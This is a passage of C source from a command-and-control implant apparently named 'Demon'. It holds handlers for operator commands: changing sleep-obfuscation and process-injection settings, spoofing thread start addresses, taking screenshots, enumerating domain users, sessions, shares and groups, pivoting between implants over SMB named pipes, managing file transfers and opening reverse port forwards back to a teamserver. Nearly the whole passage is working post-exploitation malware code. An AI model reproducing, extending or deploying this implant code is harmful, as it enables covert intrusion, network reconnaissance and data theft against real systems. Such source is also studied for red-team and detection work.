PackageTransmitError( CALLBACK_ERROR_WIN32, ERROR_INVALID_FUNCTION );\n                    }\n\n                    PRINTF( \"ThreadAddr => %x\\n\", ThreadAddr );\n                } else {\n                    PackageTransmitError( CALLBACK_ERROR_WIN32, ERROR_MOD_NOT_FOUND );\n                }\n            }\n\n            PackageAddString( Package, Library );\n            PackageAddString( Package, Function );\n\n            break;\n        }\n\n        case DEMON_CONFIG_IMPLANT_SLEEP_TECHNIQUE:\n        {\n            Instance->Config.Implant.SleepMaskTechnique = ParserGetInt32( Parser );\n            PRINTF( \"Set sleep obfuscation technique to %d\\n\", Instance->Config.Implant.SleepMaskTechnique )\n            PackageAddInt32( Package, Instance->Config.Implant.SleepMaskTechnique );\n            break;\n        }\n\n        case DEMON_CONFIG_IMPLANT_VERBOSE:\n        {\n            Instance->Config.Implant.Verbose = ParserGetInt32( Parser );\n            PackageAddInt32( Package, Instance->Config.Implant.Verbose );\n            break;\n        }\n\n        case DEMON_CONFIG_IMPLANT_COFFEE_VEH:\n        {\n            Instance->Config.Implant.CoffeeVeh = ParserGetInt32( Parser );\n            PackageAddInt32( Package, Instance->Config.Implant.CoffeeVeh );\n            break;\n        }\n\n        case DEMON_CONFIG_IMPLANT_COFFEE_THREADED:\n        {\n            Instance->Config.Implant.CoffeeThreaded = ParserGetInt32( Parser );\n            PackageAddInt32( Package, Instance->Config.Implant.CoffeeThreaded );\n            break;\n        }\n\n        case DEMON_CONFIG_MEMORY_ALLOC:\n        {\n            Instance->Config.Memory.Alloc = ParserGetInt32( Parser );\n            PackageAddInt32( Package, Instance->Config.Memory.Alloc );\n            break;\n        }\n\n        case DEMON_CONFIG_MEMORY_EXECUTE:\n        {\n            Instance->Config.Memory.Execute = ParserGetInt32( Parser );\n            PackageAddInt32( Package, Instance->Config.Memory.Execute );\n            break;\n        }\n\n        case DEMON_CONFIG_INJECTION_TECHNIQUE:\n        {\n            Instance->Config.Inject.Technique = ParserGetInt32( Parser );\n            PackageAddInt32( Package, Instance->Config.Inject.Technique );\n            break;\n        }\n\n        case DEMON_CONFIG_INJECTION_SPOOFADDR:\n        {\n            UINT32  LibSize    = 0;\n            UINT32  FuncSize   = 0;\n            PCHAR   Library    = ParserGetString( Parser, &LibSize );\n            PCHAR   Function   = ParserGetString( Parser, &FuncSize );\n            UINT32  Offset     = ParserGetInt32( Parser );\n            PVOID   ThreadAddr = NULL;\n\n            PRINTF( \"Library  => %s\\n\", Library );\n            PRINTF( \"Function => %s\\n\", Function );\n            PRINTF( \"Offset => %x\\n\", Offset );\n\n            if ( Library )\n            {\n                PVOID hLib = NULL;\n\n                // TODO: check in the current PEB too\n                hLib = LdrModuleLoad( Library );\n                PRINTF( \"hLib => %x\\n\", hLib );\n\n                if ( hLib )\n                {\n                    ThreadAddr = LdrFunctionAddr( hLib, HashStringA( Function ) );\n\n                    if ( ThreadAddr ) {\n                        Instance->Config.Inject.SpoofAddr = ThreadAddr + Offset;\n                    } else {\n                        PackageTransmitError( CALLBACK_ERROR_WIN32, ERROR_INVALID_FUNCTION );\n                    }\n\n                    PRINTF( \"ThreadAddr => %x\\n\", ThreadAddr );\n                }\n                else PackageTransmitError( CALLBACK_ERROR_WIN32, ERROR_MOD_NOT_FOUND );\n            }\n\n            PackageAddString( Package, Library );\n            PackageAddString( Package, Function );\n\n            break;\n        }\n\n        case DEMON_CONFIG_INJECTION_SPAWN64:\n        {\n            UINT32 Size   = 0;\n            PVOID  Buffer = NULL;\n\n            if ( Instance->Config.Process.Spawn64 )\n            {\n                MemSet( Instance->Config.Process.Spawn64, 0, StringLengthW( Instance->Config.Process.Spawn64 ) * sizeof( WCHAR ) );\n                Instance->Win32.LocalFree( Instance->Config.Process.Spawn64 );\n                Instance->Config.Process.Spawn64 = NULL;\n            }\n\n            Buffer = ParserGetBytes( Parser, &Size );\n            Instance->Config.Process.Spawn64 = Instance->Win32.LocalAlloc( LPTR, Size );\n            MemCopy( Instance->Config.Process.Spawn64, Buffer, Size );\n\n            PRINTF( \"Instance->Config.Process.Spawn64 => %ls\\n\", Instance->Config.Process.Spawn64 );\n            PackageAddWString( Package, Instance->Config.Process.Spawn64 );\n\n            break;\n        }\n\n        case DEMON_CONFIG_INJECTION_SPAWN32:\n        {\n            UINT32 Size   = 0;\n            PVOID  Buffer = NULL;\n\n            if ( Instance->Config.Process.Spawn86 )\n            {\n                MemSet( Instance->Config.Process.Spawn86, 0, StringLengthW( Instance->Config.Process.Spawn86 ) * sizeof( WCHAR ) );\n                Instance->Win32.LocalFree( Instance->Config.Process.Spawn86 );\n                Instance->Config.Process.Spawn86 = NULL;\n            }\n\n            Buffer = ParserGetBytes( Parser, &Size );\n            Instance->Config.Process.Spawn86 = Instance->Win32.LocalAlloc( LPTR, Size );\n            MemCopy( Instance->Config.Process.Spawn86, Buffer, Size );\n\n            PRINTF( \"Instance->Config.Process.Spawn86 => %ls\\n\", Instance->Config.Process.Spawn86 );\n            PackageAddWString( Package, Instance->Config.Process.Spawn86 );\n\n            break;\n        }\n\n        case DEMON_CONFIG_KILLDATE:\n        {\n            Instance->Config.Transport.KillDate = ParserGetInt64( Parser );\n\n            PRINTF( \"Instance->Config.Transport.KillDate => %d\\n\", Instance->Config.Transport.KillDate );\n            PackageAddInt64( Package, Instance->Config.Transport.KillDate );\n\n            break;\n        }\n\n        case DEMON_CONFIG_WORKINGHOURS:\n        {\n            Instance->Config.Transport.WorkingHours = ParserGetInt32( Parser );\n\n            PRINTF( \"Instance->Config.Transport.WorkingHours => %d\\n\", Instance->Config.Transport.WorkingHours );\n            PackageAddInt32( Package, Instance->Config.Transport.WorkingHours );\n\n            break;\n        }\n\n        default:\n            PackageAddInt32( Package, 0 );\n            break;\n    }\n\n    PackageTransmit( Package );\n}\n\nVOID CommandScreenshot( PPARSER Parser )\n{\n    PUTS( \"Screenshot\" )\n    PPACKAGE Package = PackageCreate( DEMON_COMMAND_SCREENSHOT );\n    PVOID    Image   = NULL;\n    SIZE_T   Size    = 0;\n\n    // TODO: add error checking in WinScreenshot and send screenshot in pieces\n\n    if ( WinScreenshot( &Image, &Size ) )\n    {\n        PUTS( \"Successful took screenshot\" )\n        PackageAddInt32( Package, TRUE );\n        PackageAddBytes( Package, Image, Size );\n    }\n    else\n    {\n        PUTS( \"Failed to take screenshot\" )\n        PackageAddInt32( Package, FALSE );\n    }\n\n    PackageTransmit( Package );\n}\n\n// TODO: The Net module is unstable so fix those issues to work on normal workstation and domain server\nVOID CommandNet( PPARSER Parser )\n{\n    PUTS( \"NET COMMAND\" )\n    PPACKAGE Package    = PackageCreate( DEMON_COMMAND_NET );\n    UINT32   NetCommand = ParserGetInt32( Parser );\n\n    PackageAddInt32( Package, NetCommand );\n\n    switch ( NetCommand )\n    {\n        case DEMON_NET_COMMAND_DOMAIN:\n        {\n            PUTS( \"DEMON_NET_COMMAND_DOMAIN\" )\n\n            LPSTR Domain = NULL;\n            DWORD Length = 0;\n\n            if ( ! Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, NULL, &Length ) )\n            {\n                if ( ( Domain = Instance->Win32.LocalAlloc( LPTR, Length ) ) )\n                {\n                    if ( ! Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, Domain, &Length ) )\n                    {\n                       PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n                       goto DOMAIN_CLEANUP;\n                    }\n                }\n                else\n                    goto DOMAIN_CLEANUP;\n            }\n            else\n                goto DOMAIN_CLEANUP;\n\n            PackageAddString( Package, Domain );\n\n            DATA_FREE( Domain, Length );\n\n            break;\n\n        DOMAIN_CLEANUP:\n            DATA_FREE( Domain, Length );\n            PackageDestroy( Package ); Package = NULL;\n            return;\n        }\n\n        case DEMON_NET_COMMAND_LOGONS:\n        {\n            PUTS( \"DEMON_NET_COMMAND_LOGONS\" )\n\n            LPWKSTA_USER_INFO_0 UserInfo        = NULL;\n            DWORD               dwLevel         = 0;\n            DWORD               dwEntriesRead   = 0;\n            DWORD               dwTotalEntries  = 0;\n            DWORD               dwResumeHandle  = 0;\n            DWORD               NetStatus       = 0;\n            UINT32              UserNameSize    = 0;\n            LPWSTR              ServerName      = NULL;\n\n            ServerName = ParserGetWString( Parser, &UserNameSize );\n\n            PackageAddWString( Package, ServerName );\n\n            UserNameSize = 0;\n            do\n            {\n                NetStatus = Instance->Win32.NetWkstaUserEnum( ServerName, dwLevel, (LPBYTE*)&UserInfo, MAX_PREFERRED_LENGTH, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle );\n                if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) )\n                {\n                    for ( INT i = 0; ( i < dwEntriesRead ); i++ )\n                    {\n                        if ( UserInfo == NULL )\n                            break;\n\n                        PackageAddWString( Package, UserInfo[i].wkui0_username );\n                    }\n                }\n                else\n                {\n                    NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NetStatus ) );\n\n                    PRINTF( \"NetWkstaUserEnum: Failed [%d]\\n\", NtGetLastError() );\n                    PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n                    goto CLEANUP;\n                }\n\n                if ( UserInfo )\n                {\n                    Instance->Win32.NetApiBufferFree( UserInfo );\n                    UserInfo = NULL;\n                }\n            }\n            while ( NetStatus == ERROR_MORE_DATA );\n\n            if ( UserInfo != NULL )\n                Instance->Win32.NetApiBufferFree( UserInfo );\n\n            break;\n\n        CLEANUP:\n            if ( UserInfo != NULL )\n                Instance->Win32.NetApiBufferFree( UserInfo );\n\n            PackageDestroy( Package ); Package = NULL;\n            return;\n        }\n\n        case DEMON_NET_COMMAND_SESSIONS:\n        {\n            PUTS( \"DEMON_NET_COMMAND_SESSIONS\" )\n\n            LPSESSION_INFO_10 SessionInfo       = NULL;\n            DWORD             EntriesRead       = 0;\n            DWORD             TotalEntries      = 0;\n            DWORD             ResumeHandle      = 0;\n            LPWSTR            ServerName        = NULL;\n            DWORD             NetStatus         = 0;\n            UINT32            UserNameSize      = 0;\n\n            ServerName = ParserGetWString( Parser, &UserNameSize );\n\n            PackageAddWString( Package, ServerName );\n\n            UserNameSize = 0;\n            do\n            {\n                NetStatus = Instance->Win32.NetSessionEnum( ServerName, NULL, NULL, 10, (LPBYTE*)&SessionInfo, MAX_PREFERRED_LENGTH, &EntriesRead, &TotalEntries, &ResumeHandle );\n\n                if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) )\n                {\n                    for ( INT i = 0; i < EntriesRead ; i++ )\n                    {\n                        if ( SessionInfo == NULL )\n                            break;\n\n                        PackageAddWString( Package, SessionInfo[i].sesi10_username );\n                        PackageAddWString( Package, SessionInfo[i].sesi10_username );\n                        PackageAddInt32( Package, SessionInfo[i].sesi10_time );\n                        PackageAddInt32( Package, SessionInfo[i].sesi10_idle_time );\n                    }\n                }\n                else\n                {\n                    PRINTF( \"NetSessionEnum: Failed [%d]\\n\", NtGetLastError() );\n                    PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n                    goto SESSION_CLEANUP;\n                }\n\n                if ( SessionInfo )\n                {\n                    Instance->Win32.NetApiBufferFree( SessionInfo );\n                    SessionInfo = NULL;\n                }\n            }\n            while ( NetStatus == ERROR_MORE_DATA );\n\n            if ( SessionInfo )\n                Instance->Win32.NetApiBufferFree( SessionInfo );\n\n            break;\n\n        SESSION_CLEANUP:\n            if ( SessionInfo )\n                Instance->Win32.NetApiBufferFree( SessionInfo );\n\n            PackageDestroy( Package ); Package = NULL;\n            return;\n        }\n\n        case DEMON_NET_COMMAND_COMPUTER:\n        {\n            PUTS( \"DEMON_NET_COMMAND_COMPUTER\" )\n\n            break;\n        }\n\n        case DEMON_NET_COMMAND_DCLIST:\n        {\n            PUTS( \"DEMON_NET_COMMAND_DCLIST\" )\n            break;\n        }\n\n        case DEMON_NET_COMMAND_SHARE:\n        {\n            PUTS( \"DEMON_NET_COMMAND_SHARE\" )\n\n            PSHARE_INFO_502 ShareInfo    = NULL;\n            DWORD           NetStatus    = 0;\n            DWORD           Entries      = 0;\n            DWORD           TotalEntries = 0;\n            DWORD           Resume       = 0;\n            LPWSTR          ServerName   = NULL;\n            UINT32          ServerSize   = 0;\n\n            ServerName = ParserGetWString( Parser, &ServerSize );\n            PackageAddWString( Package, ServerName );\n            do\n            {\n                NetStatus = Instance->Win32.NetShareEnum( ServerName, 502, (LPBYTE*)&ShareInfo, MAX_PREFERRED_LENGTH, &Entries, &TotalEntries, &Resume );\n                if( ( NetStatus == ERROR_SUCCESS ) || ( NetStatus == ERROR_MORE_DATA ) )\n                {\n\n                    for( DWORD i = 0; i < Entries; i++ )\n                    {\n                        PRINTF( \"%-5ls %-20ls %d %-20ls\\n\", ShareInfo[i].shi502_netname, ShareInfo[i].shi502_path, ShareInfo[i].shi502_permissions, ShareInfo[i].shi502_remark );\n\n                        PackageAddWString( Package, ShareInfo[i].shi502_netname );\n                        PackageAddWString( Package, ShareInfo[i].shi502_path );\n                        PackageAddWString( Package, ShareInfo[i].shi502_remark );\n                        PackageAddInt32( Package, ShareInfo[i].shi502_permissions );\n                    }\n\n                    Instance->Win32.NetApiBufferFree( ShareInfo );\n                    ShareInfo = NULL;\n                }\n                else\n                    PRINTF( \"Error: %ld\\n\", NetStatus );\n            }\n            while ( NetStatus == ERROR_MORE_DATA );\n\n            break;\n        }\n\n        case DEMON_NET_COMMAND_LOCALGROUP:\n        {\n            PUTS( \"DEMON_NET_COMMAND_LOCALGROUP\" )\n\n            PLOCALGROUP_INFO_1  GroupInfo     = NULL;\n            DWORD               EntriesRead   = 0;\n            DWORD               TotalEntries  = 0;\n            DWORD               NetStatus     = 0;\n            LPWSTR              ServerName    = NULL;\n            UINT32              ServerSize    = 0;\n\n            ServerName = ParserGetWString( Parser, &ServerSize );\n            PackageAddWString( Package, ServerName );\n\n            PRINTF( \"ServerName => %ls\\n\", ServerName );\n\n            NetStatus = Instance->Win32.NetLocalGroupEnum( ServerName, 1, (LPBYTE*)&GroupInfo, MAX_PREFERRED_LENGTH, &EntriesRead, &TotalEntries, NULL );\n            if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) )\n            {\n                PUTS( \"NetLocalGroupEnum => Success\" )\n                if ( GroupInfo )\n                {\n                    for( DWORD i = 0; i < EntriesRead; i++ )\n                    {\n                        PackageAddWString( Package, GroupInfo[ i ].lgrpi1_name );\n                        PackageAddWString( Package, GroupInfo[ i ].lgrpi1_comment );\n                    }\n\n                    Instance->Win32.NetApiBufferFree( GroupInfo );\n                    GroupInfo = NULL;\n                }\n            }\n\n            break;\n        }\n\n        case DEMON_NET_COMMAND_GROUP:\n        {\n            PUTS( \"DEMON_NET_COMMAND_GROUP\" )\n\n            PLOCALGROUP_INFO_1  GroupInfo     = NULL;\n            DWORD               EntriesRead   = 0;\n            DWORD               TotalEntries  = 0;\n            DWORD               NetStatus     = 0;\n            LPWSTR              ServerName    = NULL;\n            UINT32              ServerSize    = 0;\n\n            ServerName = ParserGetWString( Parser, &ServerSize );\n            PackageAddWString( Package, ServerName );\n\n            NetStatus = Instance->Win32.NetGroupEnum( ServerName, 1, (LPBYTE*)&GroupInfo, -1, &EntriesRead, &TotalEntries, NULL );\n            if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) )\n            {\n                if ( GroupInfo )\n                {\n                    for( DWORD i = 0;i < EntriesRead; i++ )\n                    {\n                        PackageAddWString( Package, GroupInfo[ i ].lgrpi1_name );\n                        PackageAddWString( Package, GroupInfo[ i ].lgrpi1_comment );\n                    }\n                }\n\n                Instance->Win32.NetApiBufferFree( GroupInfo );\n                GroupInfo = NULL;\n            }\n            else\n            {\n                PRINTF( \"NetGroupEnum: Failed [%d : %d]\\n\", NtGetLastError(), NetStatus );\n                PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n            }\n\n            if ( GroupInfo )\n            {\n                Instance->Win32.NetApiBufferFree( GroupInfo );\n                GroupInfo = NULL;\n            }\n\n            break;\n        }\n\n        case DEMON_NET_COMMAND_USER:\n        {\n            PUTS( \"DEMON_NET_COMMAND_USER\" )\n\n            LPUSER_INFO_0  UserInfo     = NULL;\n            DWORD          NetStatus    = 0;\n            DWORD          EntriesRead  = 0;\n            DWORD          TotalEntries = 0;\n            DWORD          Resume       = 0;\n            LPWSTR         ServerName   = NULL;\n            UINT32         ServerSize   = 0;\n\n            ServerName = ParserGetWString( Parser, &ServerSize );\n            PackageAddWString( Package, ServerName );\n\n            NetStatus = Instance->Win32.NetUserEnum( ServerName, 0, 0, (LPBYTE*)&UserInfo, MAX_PREFERRED_LENGTH, &EntriesRead, &TotalEntries, &Resume );\n            if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) )\n            {\n                for ( DWORD i = 0; i < EntriesRead; i++ )\n                {\n                    if ( UserInfo[ i ].usri0_name )\n                    {\n                        PackageAddWString( Package, UserInfo[ i ].usri0_name );\n                        PackageAddInt32( Package, FALSE ); // TODO: fix this.\n                    }\n                }\n\n                if ( UserInfo )\n                {\n                    Instance->Win32.NetApiBufferFree( UserInfo );\n                    UserInfo = NULL;\n                }\n            }\n            else\n            {\n                PRINTF( \"NetGroupEnum: Failed [%d : %d]\\n\", NtGetLastError(), NetStatus );\n                PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n            }\n\n            break;\n        }\n\n        default:\n        {\n            PUTS( \"COMMAND NOT FOUND\" )\n            break;\n        }\n    }\n\n    PackageTransmit( Package );\n}\n\nVOID CommandPivot( PPARSER Parser )\n{\n    PPACKAGE Package = PackageCreate( DEMON_COMMAND_PIVOT );\n    DWORD    Pivot   = ParserGetInt32( Parser );\n\n    PackageAddInt32( Package, Pivot );\n\n    PRINTF( \"Pivot => %d\\n\", Pivot );\n\n    switch ( Pivot )\n    {\n        case DEMON_PIVOT_LIST:\n        {\n            PUTS( \"DEMON_PIVOT_LIST\" )\n            PPIVOT_DATA TempList = Instance->SmbPivots;\n\n            do\n            {\n                if ( TempList )\n                {\n                    PRINTF( \"Pivot List => DemonId:[%x] Named Pipe:[%ls]\\n\", TempList->DemonID, TempList->PipeName.Buffer )\n\n                    PackageAddInt32( Package, TempList->DemonID );\n                    PackageAddWString( Package, TempList->PipeName.Buffer );\n\n                    TempList = TempList->Next;\n                } else break;\n            }\n            while ( TRUE );\n\n            break;\n        }\n\n        case DEMON_PIVOT_SMB_CONNECT:\n        {\n            PUTS( \"DEMON_PIVOT_SMB_CONNECT\" )\n\n            DWORD  BytesSize = 0;\n            PVOID  Output    = NULL;\n            BUFFER PipeName  = { 0 };\n\n            PipeName.Buffer = ParserGetBytes( Parser, &PipeName.Length );\n\n            if ( PivotAdd( PipeName, &Output, &BytesSize ) )\n            {\n                PRINTF( \"Successful connected: %x : %d\\n\", Output, BytesSize )\n\n                PackageAddInt32( Package, TRUE );\n                PackageAddBytes( Package, Output, BytesSize );\n\n                MemSet( Output, 0, BytesSize );\n                Instance->Win32.LocalFree( Output );\n                Output = NULL;\n\n#ifdef DEBUG\n                PPIVOT_DATA TempList = Instance->SmbPivots;\n\n                PUTS( \"Smb Pivots : [ \" );\n                do {\n                    if ( TempList )\n                    {\n                        PRINTF( \"%x\\n\", TempList->DemonID );\n                        TempList = TempList->Next;\n                    } else\n                        break;\n                } while ( TRUE );\n                PUTS( \"]\" );\n#endif\n            }\n            else\n            {\n                PUTS( \"Failed to connect\" )\n                PackageAddInt32( Package, FALSE );\n                PackageAddInt32( Package, NtGetLastError() );\n            }\n\n            break;\n        }\n\n        case DEMON_PIVOT_SMB_DISCONNECT:\n        {\n            DWORD AgentID = ParserGetInt32( Parser );\n            DWORD Success = FALSE;\n\n            Success = PivotRemove( AgentID );\n\n            PackageAddInt32( Package, Success );\n            PackageAddInt32( Package, AgentID );\n\n            break;\n        }\n\n        case DEMON_PIVOT_SMB_COMMAND:\n        {\n            PUTS( \"DEMON_PIVOT_SMB_COMMAND\" )\n\n            UINT32      DemonId   = ParserGetInt32( Parser );\n            BUFFER      Data      = { 0 };\n            PPIVOT_DATA TempList  = Instance->SmbPivots;\n            PPIVOT_DATA PivotData = NULL;\n            Data.Buffer           = ParserGetBytes( Parser, &Data.Length );\n\n            if ( ! Data.Buffer || ! Data.Length )\n            {\n                PUTS( \"Can't send empty data to pivot\" )\n                return;\n            }\n\n            do\n            {\n                if ( TempList ) {\n                    // if the specified demon was found break the loop\n                    if ( TempList->DemonID == DemonId ) {\n                        PivotData = TempList;\n                        break;\n                    }\n                    // select the next pivot\n                    TempList = TempList->Next;\n                } else break;\n            } while ( TRUE );\n\n            if ( PivotData )\n            {\n                if ( ! PipeWrite( PivotData->Handle, &Data ) )\n                {\n                    PUTS( \"PipeWrite failed\" )\n                    PACKAGE_ERROR_WIN32\n                }\n                else\n                    PRINTF( \"Successfully wrote 0x%x bytes of data to demon %x\\n\", Data.Length, DemonId )\n            } else PRINTF( \"Didn't found demon pivot %x\\n\", DemonId )\n\n            // DEMON_PIVOT_SMB_COMMAND does not send any response\n            // TODO: send confirmation that it worked?\n            //       this message colides with PivotPush\n            return;\n        }\n\n        default: break;\n    }\n\n    PUTS( \"Pivot transport\" )\n    PackageTransmit( Package );\n}\n\nVOID CommandTransfer( PPARSER Parser )\n{\n    DWORD          Command  = 0;\n    PPACKAGE       Package  = NULL;\n    PDOWNLOAD_DATA Download = NULL;\n    DWORD          FileID   = 0;\n    BOOL           Found    = 0;\n\n    Package  = PackageCreate( DEMON_COMMAND_TRANSFER );\n    Command  = ParserGetInt32( Parser );\n    Download = Instance->Downloads;\n\n    PackageAddInt32( Package, Command );\n\n    switch ( Command )\n    {\n        case DEMON_COMMAND_TRANSFER_LIST: PUTS( \"Transfer::list\" )\n        {\n            for ( ;; )\n            {\n                if ( ! Download )\n                    break;\n\n                /* Add download data */\n                PackageAddInt32( Package, Download->FileID   );\n                PackageAddInt32( Package, Download->ReadSize );\n                PackageAddInt32( Package, Download->State    );\n\n                Download = Download->Next;\n            }\n            break;\n        }\n\n        case DEMON_COMMAND_TRANSFER_STOP: PUTS( \"Transfer::stop\" )\n        {\n            FileID = ParserGetInt32( Parser );\n\n            for ( ;; )\n            {\n                if ( ! Download )\n                    break;\n\n                if ( Download->FileID == FileID )\n                {\n                    Download->State = DOWNLOAD_STATE_STOPPED;\n                    Found           = TRUE;\n\n                    PRINTF( \"Found download (%x) and stopped it.\\n\", Download->FileID )\n                    break;\n                }\n\n                Download = Download->Next;\n            }\n\n            PackageAddInt32( Package, Found  );\n            PackageAddInt32( Package, FileID );\n\n            break;\n        }\n\n        case DEMON_COMMAND_TRANSFER_RESUME: PUTS( \"Transfer::resume\" )\n        {\n            FileID = ParserGetInt32( Parser );\n\n            for ( ;; )\n            {\n                if ( ! Download )\n                    break;\n\n                if ( Download->FileID == FileID )\n                {\n                    Download->State = DOWNLOAD_STATE_RUNNING;\n                    Found           = TRUE;\n\n                    PRINTF( \"Found download (%x) and stopped it.\\n\", Download->FileID )\n                    break;\n                }\n\n                Download = Download->Next;\n            }\n\n            /* Tell us if we managed to find and resume the download */\n            PackageAddInt32( Package, Found  );\n            PackageAddInt32( Package, FileID );\n\n            break;\n        }\n\n        case DEMON_COMMAND_TRANSFER_REMOVE: PUTS( \"Transfer::remove\" )\n        {\n            FileID = ParserGetInt32( Parser );\n\n            for ( ;; )\n            {\n                if ( ! Download )\n                    break;\n\n                if ( Download->FileID == FileID )\n                {\n                    Download->State = DOWNLOAD_STATE_REMOVE;\n                    Found           = TRUE;\n\n                    PRINTF( \"Found download (%x) and stopped it.\\n\", Download->FileID )\n                    break;\n                }\n\n                Download = Download->Next;\n            }\n\n            /* Tell us if we managed to find and resume the download */\n            PackageAddInt32( Package, Found  );\n            PackageAddInt32( Package, FileID );\n\n            /* Tell the server to close the file. Only if we found the download */\n            if ( Found )\n            {\n                PPACKAGE Package2 = PackageCreate( DEMON_COMMAND_TRANSFER );\n                PackageAddInt32( Package2, Command );\n                PackageAddInt32( Package2, FileID );\n                PackageAddInt32( Package2, DOWNLOAD_REASON_REMOVED );\n                PackageTransmit( Package2 );\n                Package2 = NULL;\n            }\n\n            break;\n        }\n    }\n\n    PackageTransmit( Package );\n}\n\nVOID CommandSocket( PPARSER Parser )\n{\n    PPACKAGE     Package = NULL;\n    PSOCKET_DATA Socket  = NULL;\n    DWORD        Command = 0;\n\n    Package = PackageCreate( DEMON_COMMAND_SOCKET );\n    Command = ParserGetInt32( Parser );\n\n    PackageAddInt32( Package, Command );\n    switch ( Command )\n    {\n        case SOCKET_COMMAND_RPORTFWD_ADD: PUTS( \"Socket::RPortFwdAdd\" )\n        {\n            DWORD LclAddr = 0;\n            DWORD LclPort = 0;\n            DWORD FwdAddr = 0;\n            DWORD FwdPort = 0;\n\n            // TODO: add support for IPv6\n\n            /* Parse Host and Port to bind to */\n            LclAddr = ParserGetInt32( Parser );\n            LclPort = ParserGetInt32( Parser );\n\n            /* Parse Host and Port to forward port to */\n            FwdAddr = ParserGetInt32( Parser );\n            FwdPort = ParserGetInt32( Parser );\n\n            /* Create a reverse port forward socket and insert it into the linked list. */\n            Socket = SocketNew( 0, SOCKET_TYPE_REVERSE_PORTFWD, TRUE, LclAddr, NULL, LclPort, FwdAddr, FwdPort, 0 );\n\n            /* if Socket is not NULL then we managed to start a socket. */\n            PackageAddInt32( Package, Socket ? TRUE : FALSE );\n            PackageAddInt32( Package, Socket ? Socket->ID : 0 );\n\n            /* Add our Bind Host & Port data */\n            PackageAddInt32( Package, LclAddr );\n            PackageAddInt32( Package, LclPort );\n\n            /* Add our Forward Host & Port data */\n            PackageAddInt32( Package, FwdAddr );\n            PackageAddInt32( Package, FwdPort );\n\n            break;\n        }\n\n        case SOCKET_COMMAND_RPORTFWD_LIST: PUTS( \"Socket::RPortFwdList\" )\n        {\n            Socket = Instance->Sockets;\n\n            for ( ;; )\n            {\n                if ( ! Socket )\n                    break;\n\n                if ( Socket->ShouldRemove ) {\n                    Socket = Socket->Next;\n                    continue;\n                }\n\n                if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD )\n                {\n                    PackageAddInt32( Package, Socket->ID );\n\n                    /* Add our Bind Host & Port data */\n                    PackageAddInt32( Package, Socket->IPv4 );\n                    PackageAddInt32( Package, Socket->LclPort );\n\n                    /* Add our Forward Host & Port data */\n                    PackageAddInt32( Package, Socket->FwdAddr );\n                    PackageAddInt32( Package, Socket->FwdPort );\n                }\n\n                Socket = Socket->Next;\n            }\n\n            break;\n        }\n\n        case SOCKET_COMMAND_RPORTFWD_REMOVE: PUTS( \"Socket::RPortFwdRemove\" )\n        {\n            DWORD SocketID = 0;\n\n            SocketID = ParserGetInt32( Parser );\n            Socket   = Instance->Sockets;\n\n            for ( ;; )\n            {\n                if ( ! Socket )\n                    break;\n\n                if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD && Socket->ID == SocketID )\n                {\n                    Socket->ShouldRemove = TRUE;\n                }\n                else if ( Socket->Type == SOCKET_TYPE_CLIENT && Socket->ParentID == SocketID )\n                {\n                    Socket->ShouldRemove = TRUE;\n                }\n\n                Socket = Socket->Next;\n            }\n\n            /* we don't want to send the message now.\n             * send it while we are free and closing the socket. */\n            PackageDestroy( Package ); Package = NULL;\n\n            return;\n        }\n\n        case SOCKET_COMMAND_RPORTFWD_CLEAR: PUTS( \"Socket::RPortFwdClear\" )\n        {\n            Socket = Instance->Sockets;\n\n            for ( ;; )\n            {\n                if ( ! Socket )\n                    break;\n\n                if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD || Socket->Type == SOCKET_TYPE_CLIENT )\n                    Socket->ShouldRemove = TRUE;\n\n                Socket = Socket->Next;\n            }\n\n            /* we don't want to send the message now.\n             * send it while we are free and closing the sockets. */\n            PackageDestroy( Package ); Package = NULL;\n            return;\n        }\n\n        case SOCKET_COMMAND_SOCKSPROXY_ADD: PUTS( \"Socket::SocksProxyAdd\" )\n        {\n            /* TODO: implement */\n\n            break;\n        }\n\n        case SOCKET_COMMAND_WRITE: PUTS( \"Socket::Write\" )\n        {\n            DWORD  SocketID = 0;\n            BUFFER Data     = { 0 };\n            BOOL   Success  = FALSE;\n            DWORD  Type     = SOCKET_TYPE_NONE;\n\n            /* Parse arguments */\n            SocketID    = ParserGetInt32( Parser );\n            Data.Buffer = ParserGetBytes( Parser, &Data.Length );\n\n            /* get Sockets list */\n            Socket = Instance->Sockets;\n\n            for ( ;; )\n            {\n                if ( ! Socket )\n                {\n                    PRINTF( \"Could not find socket: %x\\n\", SocketID )\n                    break;\n                }\n\n                if ( Socket->ShouldRemove ) {\n                    Socket = Socket->Next;\n                    continue;\n                }\n\n                if ( Socket->ID == SocketID )\n                {\n                    Type = Socket->Type;\n\n                    /* write the data to the socket */\n                    if ( Instance->Win32.send( Socket->Socket, Data.Buffer, Data.Length, 0 ) != SOCKET_ERROR )\n                    {\n                        PRINTF( \"Sent 0x%x bytes to Socket %x\\n\", Data.Length, SocketID )\n                        Success = TRUE;\n                    }\n                    else\n                    {\n                        PRINTF( \"Sending 0x%x bytes to Socket %x failed with %d\\n\", Data.Length, SocketID, Instance->Win32.WSAGetLastError() );\n                    }\n\n                    break;\n                }\n\n                Socket = Socket->Next;\n            }\n\n            if ( Success )\n            {\n                /* destroy the package and exit this command function */\n                PackageDestroy( Package ); Package = NULL;\n                return;\n            }\n            else\n            {\n                /* report the error to the teamserver */\n                PackageAddInt32( Package, SocketID );\n                PackageAddInt32( Package, Type );\n                PackageAddInt32( Package, FALSE );\n                PackageAddInt32( Package, Instance->Win32.WSAGetLastError() );\n            }\n        }\n\n        case SOCKET_COMMAND_CONNECT: PUTS( \"Socket::Connect\" )\n        {\n            